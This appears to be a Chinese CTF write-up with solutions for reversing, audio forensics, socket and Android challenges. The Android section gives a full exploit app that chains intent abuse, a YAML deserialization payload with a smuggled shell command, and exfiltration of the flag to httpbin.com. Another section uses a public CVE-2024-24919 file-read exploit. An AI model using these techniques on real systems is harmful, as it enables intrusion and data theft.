0x6f == 0xd1
0x83 ^ 0xba
0x83 ^ 0xba
0x72 == 0xcd
0x30 ^ 0xac
0x30 ^ 0xac
0x72 == 0xc5
开头两个sbox解密还原代码,两个sbox是标准的AES盒,中间也有看到轮加密类似代码,猜测是标准AES,hook得到XOR前的密文,经过验证证明是标准AES,密钥为前16次rand值。
#include <iostream>
#include <windows.h>
int main()
{
uint8_t xor_list[]{0xe2, 0x8b, 0x55, 0x38, 0x69, 0xfa, 0x80, 0xc2, 0x64, 0x4e, 0x7f, 0xe7, 0x13, 0x06, 0x14, 0xc5, 0xc0, 0x13, 0xd3, 0x12, 0x6b, 0xbd, 0xf2, 0xc7, 0x88, 0x44, 0x3e, 0x09, 0xe8, 0xa3, 0x83, 0x30};
unsigned char byte_606020[256] = {
0x81, 0xF7, 0x22, 0x43, 0x9B, 0x91, 0xEF, 0x07, 0x54, 0x4F, 0x18, 0xCC, 0xED, 0xD1, 0xBF, 0xB3,
0x0A, 0x91, 0x1A, 0x6F, 0x91, 0xE4, 0xB5, 0x37, 0x25, 0x90, 0x9C, 0xA6, 0x74, 0x07, 0xF1, 0xF0,
0x55, 0x76, 0xC6, 0x1E, 0x5F, 0xC5, 0x77, 0x0E, 0x50, 0xEB, 0x9A, 0x16, 0x62, 0xDE, 0x25, 0xD0,
0xC4, 0xD4, 0xF0, 0xD1, 0x73, 0x2B, 0xF7, 0x5D, 0x8F, 0x56, 0xBE, 0xEB, 0x03, 0x84, 0x31, 0x45,
0xEB, 0x08, 0x79, 0x22, 0x72, 0x94, 0xDA, 0x62, 0x36, 0x75, 0xA9, 0x54, 0x3A, 0xE5, 0x3B, 0x41,
0x93, 0xC2, 0xD3, 0xFF, 0x4B, 0x41, 0x43, 0x9C, 0xE2, 0x8F, 0x80, 0x30, 0xA2, 0xEF, 0xDB, 0xFF,
0x32, 0x64, 0xFF, 0xC3, 0x2A, 0xB7, 0xB3, 0x47, 0x21, 0xB7, 0x7D, 0x98, 0x43, 0x3A, 0x8B, 0x6D,
0x91, 0xB0, 0x93, 0x9D, 0xF9, 0x20, 0xCA, 0x32, 0x34, 0xF2, 0xE4, 0x28, 0xF8, 0x5C, 0x70, 0xE2,
0x2F, 0x87, 0x46, 0xD4, 0x36, 0x6D, 0xC4, 0xD5, 0xA0, 0xE9, 0x01, 0xDA, 0x77, 0x5B, 0x0D, 0xB6,
0xA0, 0x92, 0x9C, 0xCE, 0x49, 0x97, 0x62, 0x4F, 0xCE, 0xAA, 0x86, 0x1D, 0x36, 0xFD, 0x88, 0xEB,
0x02, 0xB9, 0x6F, 0x32, 0x20, 0xFC, 0xA4, 0x9E, 0xA6, 0x9D, 0xD3, 0x85, 0x82, 0x93, 0xF0, 0xBC,
0x27, 0xDB, 0xE4, 0x7F, 0xE6, 0x68, 0xBC, 0x6E, 0xE4, 0x12, 0xCA, 0xE3, 0x8D, 0xD9, 0x2D, 0x38,
0x58, 0xF3, 0x70, 0x16, 0x75, 0x5C, 0x34, 0x04, 0x8C, 0x93, 0x0B, 0xF8, 0x58, 0xBB, 0x9F, 0x4F,
0xB0, 0x2D, 0x66, 0x74, 0x23, 0xBE, 0x04, 0xC9, 0xE9, 0x71, 0x69, 0xB0, 0x6E, 0x62, 0x9E, 0xAE,
0x03, 0x73, 0xCD, 0x29, 0x00, 0x23, 0x0E, 0x56, 0xFF, 0x50, 0xF8, 0x0E, 0xDD, 0x53, 0x3C, 0x1A,
0x4C, 0xB2, 0x5A, 0x1F, 0xD4, 0x5B, 0xB0, 0xAF, 0xC9, 0xDD, 0x13, 0x06, 0x58, 0xF7, 0x38, 0x26};
unsigned char byte_606120[288] = {
0xB0, 0x82, 0x3F, 0xED, 0x59, 0xCC, 0x25, 0xFA, 0xDB, 0x0E, 0xDC, 0x79, 0x92, 0xF5, 0xC3, 0x3E,
0xBC, 0xF0, 0xEA, 0x90, 0xF0, 0x92, 0x0D, 0x40, 0xBC, 0xCA, 0x7D, 0x4D, 0x2C, 0x7D, 0x6A, 0xFB,
0xB6, 0xF0, 0xC1, 0x0A, 0xCF, 0x38, 0xA3, 0xFF, 0x8A, 0x02, 0xEA, 0xEC, 0x51, 0xFC, 0xD7, 0x8B,
0xC8, 0x3D, 0x72, 0x74, 0x43, 0x64, 0xD6, 0x75, 0xFE, 0x1F, 0x9C, 0x40, 0x85, 0x28, 0x52, 0x15,
0x90, 0x73, 0xA3, 0x5C, 0xEF, 0x92, 0x18, 0xD4, 0xB0, 0xEA, 0x23, 0x2B, 0x4E, 0x63, 0xA2, 0x57,
0xAC, 0x63, 0x9B, 0x42, 0x96, 0x50, 0x4B, 0x1D, 0xD6, 0x51, 0x78, 0x5E, 0x4F, 0x2E, 0x1E, 0xB4,
0x72, 0x53, 0xFE, 0x38, 0xE5, 0x46, 0x53, 0xC8, 0x93, 0xAA, 0x27, 0xE2, 0xAB, 0xB5, 0x51, 0xC3,
0x10, 0x3F, 0xCD, 0x9D, 0xA1, 0x82, 0xFD, 0xC5, 0x49, 0xEB, 0x83, 0x0A, 0xE9, 0xB0, 0x09, 0x5B,
0xD8, 0x1A, 0x44, 0x79, 0x26, 0x9D, 0x5C, 0x28, 0xF3, 0xBC, 0xB0, 0x29, 0xE3, 0xB2, 0xF2, 0xB6,
0x56, 0xBF, 0xA7, 0x30, 0x8C, 0x10, 0xC7, 0x42, 0x6A, 0xBD, 0x09, 0xE1, 0xF4, 0xD6, 0x5C, 0x5E,
0xA5, 0x7A, 0x4F, 0x49, 0x74, 0xD3, 0x45, 0x4B, 0x0B, 0xF9, 0x1D, 0xE9, 0xB9, 0x1E, 0xAA, 0xDE,
0x3C, 0x45, 0xED, 0x59, 0xAD, 0x6F, 0x8B, 0xE7, 0x12, 0x9F, 0xFE, 0xF7, 0x90, 0x6E, 0xD9, 0xC4,
0xFD, 0x56, 0xFD, 0x0B, 0xE1, 0xFD, 0x47, 0xF3, 0xD5, 0x5C, 0x6F, 0xBE, 0x34, 0x86, 0xF8, 0x9A,
0xA0, 0x42, 0xAC, 0xBB, 0x72, 0x08, 0xB8, 0xCA, 0xA5, 0xA1, 0x44, 0x96, 0x7B, 0x6A, 0x1F, 0xDF,
0x42, 0x6B, 0x6E, 0x75, 0xC7, 0xD0, 0x75, 0x72, 0xAC, 0xA5, 0xC4, 0xDB, 0x90, 0x55, 0x8D, 0xA4,
0xD7, 0x38, 0xD7, 0x6C, 0xD1, 0xCA, 0x24, 0xE1, 0x69, 0x2D, 0x2A, 0x6A, 0xBD, 0x82, 0x8F, 0x4D,
0xDD, 0xCC, 0xBB, 0xAA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
for (int i = 0; i < 8; i++)
{
for (int j = 0; j < 32; j++)
{
byte_606020[i * 32 + j] ^= xor_list[j];
byte_606120[i * 32 + j] ^= xor_list[j];
}
}
for (int j = 0; j < 256; j++)
{
printf("%02X ", byte_606020[j]);
}
printf("\n\n");
for (int j = 0; j < 256; j++)
{
printf("%02X ", byte_606120[j]);
}
return 0;
}
/*
63 7C 77 7B F2 6B 6F C5 30 01 67 2B FE D7 AB 76 CA 82 C9 7D FA 59 47 F0 AD D4 A2 AF 9C A4 72 C0 B7 FD 93 26 36 3F F7 CC 34 A5 E5 F1 71 D8 31 15 04 C7 23 C3 18 96 05 9A 07 12 80 E2 EB 27 B2 75 09 83 2C 1A 1B 6E 5A A0 52 3B D6 B3 29 E3 2F 84 53 D1 00 ED 20 FC B1 5B 6A CB BE 39 4A 4C 58 CF D0 EF AA FB 43 4D 33 85 45 F9 02 7F 50 3C 9F A8 51 A3 40 8F 92 9D 38 F5 BC B6 DA 21 10 FF F3 D2 CD 0C 13 EC 5F 97 44 17 C4 A7 7E 3D 64 5D 19 73 60 81 4F DC 22 2A 90 88 46 EE B8 14 DE 5E 0B DB E0 32 3A 0A 49 06 24 5C C2 D3 AC 62 91 95 E4 79 E7 C8 37 6D 8D D5 4E A9 6C 56 F4 EA 65 7A AE 08 BA 78 25 2E 1C A6 B4 C6 E8 DD 74 1F 4B BD 8B 8A 70 3E B5 66 48 03 F6 0E 61 35 57 B9 86 C1 1D 9E E1 F8 98 11 69 D9 8E 94 9B 1E 87 E9 CE 55 28 DF 8C A1 89 0D BF E6 42 68 41 99 2D 0F B0 54 BB 16
52 09 6A D5 30 36 A5 38 BF 40 A3 9E 81 F3 D7 FB 7C E3 39 82 9B 2F FF 87 34 8E 43 44 C4 DE E9 CB 54 7B 94 32 A6 C2 23 3D EE 4C 95 0B 42 FA C3 4E 08 2E A1 66 28 D9 24 B2 76 5B A2 49 6D 8B D1 25 72 F8 F6 64 86 68 98 16 D4 A4 5C CC 5D 65 B6 92 6C 70 48 50 FD ED B9 DA 5E 15 46 57 A7 8D 9D 84 90 D8 AB 00 8C BC D3 0A F7 E4 58 05 B8 B3 45 06 D0 2C 1E 8F CA 3F 0F 02 C1 AF BD 03 01 13 8A 6B 3A 91 11 41 4F 67 DC EA 97 F2 CF CE F0 B4 E6 73 96 AC 74 22 E7 AD 35 85 E2 F9 37 E8 1C 75 DF 6E 47 F1 1A 71 1D 29 C5 89 6F B7 62 0E AA 18 BE 1B FC 56 3E 4B C6 D2 79 20 9A DB C0 FE 78 CD 5A F4 1F DD A8 33 88 07 C7 31 B1 12 10 59 27 80 EC 5F 60 51 7F A9 19 B5 4A 0D 2D E5 7A 9F 93 C9 9C EF A0 E0 3B 4D AE 2A F5 B0 C8 EB BB 3C 83 53 99 61 17 2B 04 7E BA 77 D6 26 E1 69 14 63 55 21 0C 7D
❯
*/
流程:
- srand(0x10000) rand 16个作为密钥
- 第十七个rand作为下一个srand的seed
- 后续rand 32字节作为最后密文xor的密钥
- AES加密完与rand的32字节以及函数开头初始化的32字节进行XOR
- 最后的密文比对,'Congratulations! This is the correct flag!'是密文,第二块是+17开始比对,所以'!'后面跟着的空格要去除。
密文比对部分的代码:
.text:0000000000400B81 31 D8 xor eax, ebx
.text:0000000000400B83 88 85 1E FE FF FF mov [rbp+var_1E2], al
.text:0000000000400B89 0F B6 95 1E FE FF FF movzx edx, [rbp+var_1E2]
.text:0000000000400B90 48 8B 0D B1 5E 20 00 mov rcx, cs:off_606A48 ; "Congratulations! This is the correct fl"...
.text:0000000000400B97 8B 85 20 FE FF FF mov eax, [rbp+var_1E0]
.text:0000000000400B9D 48 98 cdqe
.text:0000000000400B9F 48 01 C8 add rax, rcx
.text:0000000000400BA2 0F B6 00 movzx eax, byte ptr [rax]
.text:0000000000400BA5 0F BE C0 movsx eax, al
.text:0000000000400BA8 39 C2 cmp edx, eax
.text:0000000000400BBE 31 D8 xor eax, ebx
.text:0000000000400BC0 88 85 1E FE FF FF mov [rbp+var_1E2], al
.text:0000000000400BC6 0F B6 95 1E FE FF FF movzx edx, [rbp+var_1E2]
.text:0000000000400BCD 48 8B 0D 74 5E 20 00 mov rcx, cs:off_606A48 ; "Congratulations! This is the correct fl"...
.text:0000000000400BD4 8B 85 20 FE FF FF mov eax, [rbp+var_1E0]
.text:0000000000400BDA 83 C0 11 add eax, 17
.text:0000000000400BDD 48 98 cdqe
.text:0000000000400BDF 48 01 C8 add rax, rcx
.text:0000000000400BE2 0F B6 00 movzx eax, byte ptr [rax]
.text:0000000000400BE5 0F BE C0 movsx eax, al
.text:0000000000400BE8 39 C2 cmp edx, eax ; 密文比对
解密:
Buttferfly
"MMXEncod"为密钥
解密代码:
#include <iostream>
#include <windows.h>
#include <fstream>
uint64_t decrypt(uint64_t encrypted, uint64_t key)
{
uint64_t v1 = 0;
for (int i = 0; i < 8; i++)
{
uint8_t tmp1 = (encrypted >> (i * 8)) & 0xFF;
uint8_t tmp2 = (key >> (i * 8)) & 0xFF;
uint8_t tmp3 = (tmp1 - tmp2) & 0xFF;
v1 |= ((uint64_t)tmp3) << (i * 8);
}
v1 = ((v1 >> 1) | ((v1 & 1) << 63));
uint64_t v2 = 0;
for (int i = 0; i < 4; i++)
{
uint16_t tmp1 = (v1 >> (i * 16)) & 0xFFFF;
uint16_t tmp2 = ((tmp1 & 0xFF) << 8) | ((tmp1 >> 8) & 0xFF);
v2 |= ((uint64_t)tmp2) << (i * 16);
}
return v2 ^ key;
}
int main()
{
std::ifstream file("encode.dat", std::ios::binary);
file.seekg(0, std::ios::end);
size_t file_size = file.tellg();
file.seekg(0, std::ios::beg);
uint8_t *data = new uint8_t[file_size];
file.read(reinterpret_cast<char *>(data), file_size);
file.close();
uint64_t key = 0;
memcpy(&key, "MMXEncod", 8);
uint8_t dec[1000]{};
size_t p = 0;
for (size_t i = 0; i < file_size - 2; i += 8)
{
if (i + 8 <= file_size - 2)
{
uint64_t block = *(uint64_t *)(data + i);
uint64_t dec_block = decrypt(block, key);
memcpy(dec + p, &dec_block, 8);
p += 8;
}
else
{
memcpy(dec + p, data + i, file_size - 2 - i);
p += file_size - 2 - i;
}
}
printf("%s\n", dec);
delete[] data;
return 0;
}
MISC
谍影重重6.0
根据报文80 80/80 00头部模糊搜索得知是RTP协议。RTP over udp协议在wireshark里默认不启用。
通过tshark和python编写脚本提取ssrc id和音频数据。ubuntu的tshark过期了,不能解析RTP,用wireshark的tshark。根据ssrc分别提取每个通信会话,做成wav。
parse_all_streams_fast.py
import subprocess
import shlex
import sys
file_handles = {}
def parse_tshark_output():
"""
Executes a tshark command and processes its output stream in real-time,
printing the SSRC and payload for each RTP packet.
"""
# --- Configuration ---
# The command line to execute.
# IMPORTANT: Update the path to tshark.exe if it's different on your system.
# This path assumes you are running this script from Windows Subsystem for Linux (WSL).
# For native Windows, it would be "C:\Program Files\Wireshark\tshark.exe"
# For native Linux/macOS, it might just be "tshark" if it's in your PATH.
cmdline = '"/mnt/c/Program Files/Wireshark/tshark.exe" -r Data.pcap -T fields -e rtp.ssrc -e rtp.payload --enable-protocol rtp -Y rtp'
# Using shlex.split() is a best practice for safely splitting the command
# into a list of arguments, which is more robust than passing a single string.
try:
args = shlex.split(cmdline)
except Exception as e:
print(f"Error splitting command line: {e}")
print("Please check for mismatched quotes in your command.")
sys.exit(1)
print(f"Executing command: {' '.join(args)}")
print("--- Starting Real-time tshark Output ---")
try:
# We use subprocess.Popen to run the command. This is non-blocking.
# - stdout=subprocess.PIPE: Redirects the command's standard output to a pipe we can read from.
# - stderr=subprocess.PIPE: Redirects standard error for error checking.
# - text=True: Decodes the output streams as text using the default system encoding.
# - bufsize=1: Sets line-buffering, which is ideal for reading line-by-line.
with subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=1) as process:
# This `for` loop iterates over the stdout of the tshark process.
# It will read one line at a time, and it will wait ("block") until a
# line is available. This is how we process the output "dynamically"
# without waiting for the process to finish.
for line in process.stdout:
# Remove leading/trailing whitespace from the line.
line = line.strip()
# tshark with '-T fields' uses a tab character to separate columns.
# We split only once to handle cases where the payload might have unexpected characters.
parts = line.split('\t', 1)
if len(parts) == 2:
ssrc, payload = parts
# print(f"SSRC: {ssrc.strip():<12} | Payload: {payload.strip()}")
if ssrc not in file_handles:
# Open a new file for this SSRC in append mode.
filename = f"streams/stream_{ssrc}.raw"
file_handles[ssrc] = open(filename, 'wb')
print(f"[Info] Created new file for SSRC {ssrc}: {filename}")
# Write the binary payload to the corresponding file.
binary_payload = bytes.fromhex(payload.strip())
file_handles[ssrc].write(binary_payload)
elif line: # Don't print for empty lines
print(f"[Warning] Could not parse line: {line}")
# After the stdout stream is closed (i.e., tshark has finished),
# we can read the entire stderr stream to see if any errors occurred.
stderr_output = process.stderr.read()
if stderr_output:
print("\n--- Errors reported by tshark ---")
print(stderr_output)
print("---------------------------------")
except FileNotFoundError:
print(f"Error: Command not found: '{args[0]}'")
print("Please ensure Wireshark is installed and the path in the script is correct.")
except Exception as e:
print(f"An unexpected error occurred: {e}")
if __name__ == "__main__":
# Note: This script requires a file named 'Data.pcap' in the same directory.
# If the file is missing, tshark will report an error.
parse_tshark_output()
ffmpeg拼接wav
parse_all_streams_fast.py
for i in `ls *.raw`; do sox -t al -r 8000 -c 1 $i $i.wav; done
echo>wav_list.txt;for i in `ls streams/*.wav `; do echo "file '$i'" >> wav_list.txt; done
ffmpeg -f concat -safe 0 -i wav_list.txt -c copy output.wav
得到18小时的音频。
audacity 均衡器拉低低频(否则存在底噪,无法清除空白),清除空白 得到4h的音频。
WPS会员音频转文字得到字符串。
第九届全网杯2025震撼来袭,你准备好了吗?近日我部您解获一条秘密65,146631451427161661421466070,14566616014114514260711466660,14214371656514214470。
parse_all_streams_fast.py
parse_all_streams_fast_order.py
编写脚本按照八进制解码,读取从左能拼成的第一个ascii,得到压缩包密码。 5f3eb916bf08e610aeb09f60bc955bd8
data = list("651466314514271616614214660701456661601411451426071146666014214371656514214470")
def decode(some_string):
return chr(int(some_string,8))
local = []
import string
flag = ""
while len(data) > 0:
pop = data.pop(0)
local.append(pop)
thechr = decode(''.join(local))
print(local,thechr)
if thechr in string.ascii_letters + string.digits + "{}-_":
local = []
flag += thechr
print(flag)
print("end",flag)
解压缩包
结合题目描述:经过我国执法部门的努力,终于在今年十月提取出了张纪星(系杜撰名字,与现实人员无关)被捕前布置的监听设备中的加密信息,据本人供述其曾恢复过我国一份绝密情报。
flag为情报所提及的详细时间和地址的md5值,即flag{md5(x年x月x日x时x分于x地)}。
说话人1
表兄,近日可好?上回托您带的廿四淡秋茶,家母嘱咐务必在辰时正过三刻前送到,切记用金丝锦盒装妥。此处潮气重,莫让干货受了霉。若赶得及时,可赶到菊花开前,便可让铺子开张。
说话人2
一切安好,我会按照要求准备好秋茶,我该送到何地。
说话人1
送至双鲤湖西岸南山茶铺,放右边第二个橱柜,莫放错。
说话人2
我已知悉。你在那边,可还安好?
说话人1
一切安好,希望你我二人早日相见。
说话人2
指日可待。茶叶送到了,但是晚了十日,茶铺看来只能另寻良辰吉日了。你在那边千万保重。
猜灯谜。
年月日:根据hint 搜索双鲤湖 事件,定位到金门战役->1949年10月24日
时分:辰时正过三刻->8时45分
地点:双鲤湖西岸南山茶铺
1949年10月24日8时45分于双鲤湖西岸南山茶铺
flag{2a97dec80254cdb5c526376d0c683bdd}
Personal Vault
windows取证
用windbg找到问题进程personalVaultKernel.sys
0xc58d5517adb0 \Users\a\Desktop\aPersonalVault.exe
0xc58d5516f870 \Users\a\Desktop\aPersonalVault.exe
0xc58d5443fa30 \Users\a\Desktop\aPersonalVault.exe
应该就是分析这玩意了
加密文件好像在
0xcd80bca8a860 \mailslot_e60a23e2
0xc58d5518cba0 \mailslot_1359e83
然后发现有非预期,用filelocator pro直接可以搜到flag,UTF-16类型的文本,010直接text搜flag{搜不到
The_Interrogation_Room
GPT写出脚本直接运行
#!/usr/bin/env python3
import argparse
import hashlib
import itertools
import socket
import string
import sys
ROWS = [
"11101001",
"11101110",
"00011101",
"10001100",
"10010101",
"00001011",
"10010100",
"11111010",
"00101011",
"01011001",
"10101111",
"00111000",
"10001010",
"10000010",
"11110111",
"00001001",
"01000010",
]
def build_queries(rows):
queries = []
for row in rows:
idxs = [i for i, bit in enumerate(row) if bit == "1"]
expr = f"S{idxs[0]}"
for idx in idxs[1:]:
expr = f"( ( {expr} ) == S{idx} ) == 0"
queries.append(expr)
return queries
QUERIES = build_queries(ROWS)
MASKS = []
for row in ROWS:
mask = 0
for idx, bit in enumerate(row):
if bit == "1":
mask |= 1 << idx
MASKS.append(mask)
ANSWERS = [
[bin(mask & secret).count("1") % 2 for mask in MASKS]
for secret in range(256)
]
def solve_pow(challenge):
prefix = "sha256(XXXX+"
if not challenge.startswith(prefix) or ") == " not in challenge:
raise ValueError(f"unexpected PoW challenge: {challenge}")
suffix_part, digest = challenge[len(prefix):].split(") == ")
alphabet = string.ascii_letters + string.digits
suffix_bytes = suffix_part.encode()
for candidate in ("".join(p) for p in itertools.product(alphabet, repeat=4)):
test = hashlib.sha256(candidate.encode() + suffix_bytes).hexdigest()
if test == digest:
return candidate
raise ValueError("PoW solution not found")
def decode_secret(observed):
best = []
best_dist = len(QUERIES) + 1
for secret, expected in enumerate(ANSWERS):
dist = sum(a != b for a, b in zip(expected, observed))
if dist < best_dist:
best = [secret]
best_dist = dist
elif dist == best_dist:
best.append(secret)
if best_dist > 2 or not best:
raise ValueError(f"could not decode (dist={best_dist}, candidates={best})")
if len(best) > 1:
raise ValueError(f"ambiguous decode (dist={best_dist}, candidates={best})")
return best[0], best_dist
def parse_response(line):
if not line.startswith("Prisoner's response:"):
raise ValueError(f"unexpected response line: {line}")
value = line.split(":", 1)[1].strip()
if value.endswith("!"):
value = value[:-1]
value = value.strip()
if value == "True":
return 1
if value == "False":
return 0
raise ValueError(f"unknown boolean value: {value}")
def main():
parser = argparse.ArgumentParser(description="Solve the interrogation room challenge")
parser.add_argument("host", help="challenge host")
parser.add_argument("port", type=int, help="challenge port")
args = parser.parse_args()
with socket.create_connection((args.host, args.port)) as sock:
rfile = sock.makefile("r", encoding="utf-8", newline="\n", buffering=1)
wfile = sock.makefile("w", encoding="utf-8", newline="\n", buffering=1)
def recv_line():
line = rfile.readline()
if line == "":
raise EOFError
line = line.rstrip("\n")
print(line)
return line
def send_line(msg):
print(f"> {msg}")
wfile.write(msg + "\n")
wfile.flush()
try:
challenge = recv_line()
except EOFError:
print("connection closed before PoW", file=sys.stderr)
return
pow_answer = solve_pow(challenge)
prompt = recv_line()
if not prompt.startswith("Give me XXXX"):
print("unexpected prompt after PoW", file=sys.stderr)
send_line(pow_answer)
round_idx = 0
question_idx = 0
responses = []
while True:
try:
line = recv_line()
except EOFError:
break
stripped = line.strip()
if stripped == "Ask your question:":
if question_idx >= len(QUERIES):
raise ValueError("too many question prompts")
query = QUERIES[question_idx]
send_line(query)
question_idx += 1
continue
if stripped.startswith("Prisoner's response:"):
responses.append(parse_response(line))
continue
if stripped.startswith("Now reveal the true secrets"):
if len(responses) != len(QUERIES):
raise ValueError("unexpected number of answers")
secret, dist = decode_secret(responses)
print(f"[+] decoded round {round_idx + 1} with distance {dist}")
answer_line = " ".join("1" if (secret >> i) & 1 else "0" for i in range(8))
send_line(answer_line)
responses.clear()
question_idx = 0
round_idx += 1
continue
if __name__ == "__main__":
main()
Qcalc
目标是读取/data/data/com.qinquang.calc/flag-xxxxxxxx.txt
用jadx打开apk,保存为gradle工程,vscode copilot打开文件夹,gpt得到思路
大概原理:
题目程序MainActivity接收qiangcalc:// deeplink,如果expression包含intent:,则构造intent存在getIntent()上面
如果计算抛出异常,则将保存的Intent传入BridgeActivity
BridgeActivity检查固定的sha-256 token,然后startActivity将history.yml读写权限给到传入的Intent
HistoryActivity加载yaml使用SnakeYAML,所以存在反序列化漏洞,存在PingUtil类可反序列化执行命令
因此,让BridgeActivity打开我自己的Activity,然后往history.yml写入反序列化yml,再让他打开HistoryActivity触发反序列化yaml即可。
目标app无法访问互联网也无法写入sdcard,因此RCE将flag写入history.yml里,通过读取history.yml带出flag。
package com.example.qwb2025test;
import android.app.Activity;
import android.content.ContentResolver;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.nio.charset.StandardCharsets;
public class MyMainActivity extends Activity {
private static final String TARGET_PACKAGE = "com.qinquang.calc";
private static final String TOKEN = "aaf4b4eb2510cf9e";
private static final long DELAY_MS = 1000L;
private static final String YAML_PAYLOAD = "!!com.qinquang.calc.PingUtil\n"
+ "- \"127.0.0.1;echo \\\"$(echo 114513;ls /data/data/com.qinquang.calc/;cat /data/data/com.qinquang.calc/flag-*.txt)\\\" > /data/data/com.qinquang.calc/files/history.yml;#\"\n";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Intent incoming = getIntent();
Uri data = incoming.getData();
if (data != null && "content".equalsIgnoreCase(data.getScheme())) {
Log.d("PoC", "onCreate: data "+data.toString());
useContentResolver(data);
handleBridgeInvocation(data);
finish();
return;
}
runStageOne();
finish();
}
public static String convertStringToHex(String inputString) {
StringBuilder hexStringBuilder = new StringBuilder();
// Convert the string to a character array
char[] charArray = inputString.toCharArray();
// Iterate through each character
for (char character : charArray) {
// Get the integer ASCII value of the character
int asciiValue = (int) character;
// Convert the ASCII value to its hexadecimal string representation
String hexValue = Integer.toHexString(asciiValue);
if (hexValue.length() == 1){
hexStringBuilder.append("0");
}
// Append the hexadecimal value to the StringBuilder
hexStringBuilder.append(hexValue);
}
return hexStringBuilder.toString();
}
private void useContentResolver(Uri target) {
try {
ContentResolver resolver = getContentResolver();
byte[] buffer = new byte[1024];
try (java.io.InputStream stream = resolver.openInputStream(target)) {
if (stream == null) {
Log.e("PoC", "openInputStream returned null");
return;
}
int read = stream.read(buffer);
String flag = read > 0 ? new String(buffer, 0, read) : "";
Log.d("PoC", "Flag chunk: " + flag);
if(flag.length() > 0){
new Thread(new Runnable() {
@Override
public void run() {
try {
Log.d(TAG, "run: exfil flag:"+flag);
// must https
URL url = new URL("https://httpbin.com/x/flag?flag="+convertStringToHex(flag));
HttpURLConnection connection = (HttpURLConnection)url.openConnection();
connection.setRequestMethod("GET");
connection.setConnectTimeout(5000);
connection.setReadTimeout(5000);
int code = connection.getResponseCode();
Log.d(TAG, "Exfil response: " + code);
} catch (Exception e) {
Log.e(TAG, "run: ", e);
}
}
}).start();
}
}
} catch (Exception e) {
Log.e("PoC", "Error reading content URI", e);
}
}
private void runStageOne() {
storeFallbackToSelf();
delay(this::triggerCrash);
}
private void handleBridgeInvocation(Uri historyUri) {
poisonHistory(historyUri);
storeFallbackForHistory();
delay(this::triggerCrash);
}
private void storeFallbackToSelf() {
String component = getPackageName() + "/" + MyMainActivity.class.getName();
String fallback = "intent:#Intent;component=" + component + ";S.bridge_token=" + TOKEN + ";end";
launchExpression(fallback);
}
private void storeFallbackForHistory() {
String component = TARGET_PACKAGE + "/" + "com.qinquang.calc.HistoryActivity";
String fallback = "intent:#Intent;component=" + component + ";S.bridge_token=" + TOKEN + ";end";
launchExpression(fallback);
}
private void triggerCrash() {
Log.d(TAG, "triggerCrash1: ");
launchExpression("1/0");
delay(this::exfilFlag);
}
private void triggerCrash2() {
Log.d(TAG, "triggerCrash2: ");
launchExpression("2/0");
// delay(this::exfilFlag);
}
private static final String TAG = "PoC";
private void exfilFlag(){
storeFallbackToSelf();
delay(this::triggerCrash2);
}
private void poisonHistory(Uri target) {
try (OutputStream os = openHistoryStream(target);
OutputStreamWriter writer = new OutputStreamWriter(os, StandardCharsets.UTF_8)) {
writer.write(YAML_PAYLOAD);
writer.flush();
} catch (Exception e) {
Log.e("PoC", "Failed to write payload", e);
}
}
private OutputStream openHistoryStream(Uri target) throws Exception {
ContentResolver resolver = getContentResolver();
OutputStream os = resolver.openOutputStream(target, "wt");
if (os == null) {
throw new IllegalStateException("Null OutputStream for " + target);
}
return os;
}
private void launchExpression(String expression) {
Uri uri = new Uri.Builder()
.scheme("qiangcalc")
.authority("calculate")
.appendQueryParameter("expression", expression)
.build();
Intent i = new Intent(Intent.ACTION_VIEW, uri);
i.setFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
Log.d("PoC", "launchExpression: "+uri.toString());
i.setPackage(TARGET_PACKAGE);
startActivity(i);
}
private void delay(Runnable action) {
new Handler(Looper.getMainLooper()).postDelayed(action, DELAY_MS);
}
private void sendFlag(){
}
}
打包apk发靶机运行。
cpc
https://github.com/Praison001/CVE-2024-24919-Check-Point-Remote-Access-VPN/blob/main/exploit.py
poc可以任意文件读取。
https://cn-sec.com/archives/2798259.html 搭建靶机教程
本地搭建靶机路由器,看有哪些文件可以读取。
读取文件:/var/log/opt/CPsuite-R81.20/fw1/log/2025-10-18_000000.adtlog /var/log/opt/CPsuite-R81.20/fw1/log/2025-10-18_000000.adtloginitial_ptr
wget下载到路由器上,运行fw log ./2025-10-18_000000.adtlog 解析log
18:05:20 5 N/A 1 accept 192.168.1.157 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; ObjectName: ; ObjectType: ; ObjectTable: ; Operation: File Retrieved; Uid: ; Administrator: admin; Machine: f; FieldsChanges: ; session_id: ; Subject: File Operation; Audit Status: ; Additional Info: ca-bundle.crt; Operation Number: 33; Customer_Name: ; CMA_Name: ; MDS_Name: ; client_ip: 192.168.1.25; admin_level: ; ProductName: SmartDashboard; ProductFamily: Network;
19:28:03 5 N/A 1 accept 192.168.1.25 < LogId: <max_null>; ContextNum: <max_null>; OriginSicName: <max_null>; Subject: Object Manipulation; Operation: Create Object; client_ip: 192.168.1.25; Administrator: admin; Session name: admin@2025/10/17; Session UID: ed7a03a1-c6e4-489f-af68-f4e6ba912852; Uid: f6c59575-17af-4c5b-ba55-6bce5d95bb07; ObjectType: Host; ObjectName: Host_127.0.0.1; Ip Address: 127.0.0.1; SendToTrackerAsAdvancedAuditLog: 0; FieldsChanges: Comments: 'Object created automatically by Mobile Access wizard.'(+)IP Address: '127.0.0.1'(+)Name: 'Host_127.0.0.1'(+); Advanced Changes: (+); Logic Changes: Comments: 'Object created automatically by Mobile Access wizard.'(+)Ipaddr: '127.0.0.1'(+)Name: 'Host_127.0.0.1'(+); ProductName: SmartConsole; ProductFamily: Network;
